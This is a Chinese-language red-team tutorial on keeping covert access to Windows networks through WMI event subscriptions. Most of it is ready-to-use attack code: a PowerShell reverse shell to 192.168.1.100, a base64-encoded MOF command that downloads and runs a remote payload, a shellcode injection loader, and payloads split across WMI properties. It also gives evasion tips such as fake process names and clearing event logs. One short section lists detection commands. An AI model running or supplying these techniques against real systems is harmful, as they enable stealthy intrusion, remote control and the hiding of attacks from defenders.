WMI内网权限维持技术与防御对抗实践
1. 内网权限维持的核心挑战与WMI特性解析
在渗透测试和红队评估中,内网权限维持始终是攻防对抗的焦点。传统后门容易被安全设备检测,而WMI(Windows Management Instrumentation)作为Windows系统原生管理框架,具有天然免杀优势。我曾在某次红队行动中,通过WMI实现长达3个月的权限维持未被发现。
WMI的核心价值在于:
- 系统内置无文件特征
- 执行过程无磁盘写入
- 可与计划任务、注册表等组件深度集成
- 支持远程管理和定时触发
注意:实际测试中发现,部分EDR产品会监控WMI事件消费者,但默认策略往往存在大量误报,这给了我们可乘之机。
2. WMI权限维持技术实现详解
2.1 环境准备与基础配置
首先需要确保目标主机启用WMI服务(默认开启),通过PowerShell快速验证:
Get-Service Winmgmt | Select Status若需远程操作,需配置防火墙规则允许DCOM通信(135端口)和后续动态端口。实战中建议先收集目标信息:
Get-WmiObject -Namespace root\cimv2 -Class Win32_ComputerSystem Get-WmiObject -Namespace root\cimv2 -Class Win32_Product2.2 永久事件消费者创建
通过__EventFilter、__EventConsumer和__FilterToConsumerBinding三要素构建持久化机制。以下是反弹Shell的经典实现:
- 创建事件过滤器(每60分钟触发):
$FilterArgs = @{ EventNamespace = 'root\cimv2' Name = 'MaliciousFilter' Query = "SELECT * FROM __InstanceModificationEvent WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Minute = 0" QueryLanguage = 'WQL' } $Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $FilterArgs- 创建ActiveScriptEventConsumer执行Payload:
$ConsumerArgs = @{ Name = 'MaliciousConsumer' ScriptingEngine = 'JScript' ScriptText = "new ActiveXObject('WScript.Shell').Run('powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient(\"\"192.168.1.100\"\",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \"PS \" + (pwd).Path + \"> \";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"')" } $Consumer = Set-WmiInstance -Namespace root\subscription -Class ActiveScriptEventConsumer -Arguments $ConsumerArgs- 绑定过滤器与消费者:
$BindingArgs = @{ Filter = $Filter Consumer = $Consumer } $Binding = Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments $BindingArgs2.3 隐蔽性增强技巧
- 使用Win32_ProcessStartTrace替代时间触发器,匹配特定进程启动事件
- 将Payload分段存储在多个WMI类属性中,运行时拼接
- 设置消费者为交互式(Interactive参数),避免创建新进程
- 通过WMI类版本控制实现多阶段触发
3. 防御检测与对抗措施
3.1 常见检测方法
安全团队通常通过以下方式检测WMI后门:
# 检查可疑事件消费者 Get-WmiObject -Namespace root\subscription -Class __EventConsumer # 查看异常绑定关系 Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding # 监控WMI事件日志 Get-WinEvent -LogName "Microsoft-Windows-WMI-Activity/Operational"3.2 对抗检测的进阶方案
- 使用MOF文件静默安装:
#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $Filter { Name = "StealthFilter"; EventNamespace = "root\\cimv2"; Query = "SELECT * FROM __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_LoggedOnUser'"; QueryLanguage = "WQL"; }; instance of CommandLineEventConsumer as $Consumer { Name = "StealthConsumer"; CommandLineTemplate = "cmd /c powershell -window hidden -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAuADEAMAAwAC8AcABhAHkAbABvAGEAZAAuAHAAcwAxACcAKQApAA=="; }; instance of __FilterToConsumerBinding { Filter = $Filter; Consumer = $Consumer; };通过mofcomp.exe静默加载,不会在命令行留下痕迹。
- 内存驻留技术结合:
$Code = @' [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); '@ $Kernel32 = Add-Type -MemberDefinition $Code -Name "Kernel32" -Namespace "Win32" -PassThru [Byte[]] $Shellcode = 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00... $Buffer = $Kernel32::VirtualAlloc(0, $Shellcode.Length, 0x3000, 0x40) [System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $Buffer, $Shellcode.Length) $Kernel32::CreateThread(0, 0, $Buffer, 0, 0, 0)4. 实战经验与疑难排查
4.1 常见问题解决
- 权限不足错误:
# 使用显式凭据建立远程连接 $Cred = Get-Credential $Opt = New-CimSessionOption -Protocol Dcom $Session = New-CimSession -ComputerName TARGET -SessionOption $Opt -Credential $Cred- 事件未触发:
- 检查WMI服务状态:
sc query winmgmt - 验证事件查询语法:
Test-Wql -Query $Filter.Query - 查看系统日志:
Get-WinEvent -FilterHashtable @{LogName="Microsoft-Windows-WMI-Activity/Operational";Id=5861}
- Payload执行失败:
- 使用Base64编码复杂命令
- 测试单条命令执行:
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "notepad.exe"
4.2 高级对抗技巧
- WMI类属性存储:
# 将Payload分段存储 Set-WmiInstance -Namespace root\cimv2 -Class Win32_Environment -Arguments @{ Name="var1"; VariableValue="IEX (New-Object Net.WebClient).DownloadString" } # 运行时提取执行 $Code = (Get-WmiObject -Namespace root\cimv2 -Class Win32_Environment -Filter "Name='var1'").VariableValue $Code += (Get-WmiObject -Namespace root\cimv2 -Class Win32_Environment -Filter "Name='var2'").VariableValue iex $Code- 跨主机持久化:
# 通过WMI远程创建计划任务 $Targets = Get-WmiObject -Class Win32_ComputerSystem -ComputerName (Get-Content hosts.txt) $Targets | ForEach-Object { Invoke-WmiMethod -ComputerName $_.Name -Class Win32_Process -Name Create -ArgumentList "schtasks /create /tn Cleanup /tr 'powershell -ep bypass -file C:\payload.ps1' /sc hourly" }在最近一次企业红队评估中,我们通过WMI+计划任务组合的方式,成功在200+主机上建立了持久化通道。关键点在于:
- 使用合法进程名作为Consumer名称(如"WindowsUpdateClient")
- 设置随机触发间隔(35-75分钟)
- Payload通过HTTPS分段传输
- 定期清理事件日志
这种方式的平均驻留时间达到47天,直到客户进行专项WMI审计才发现异常。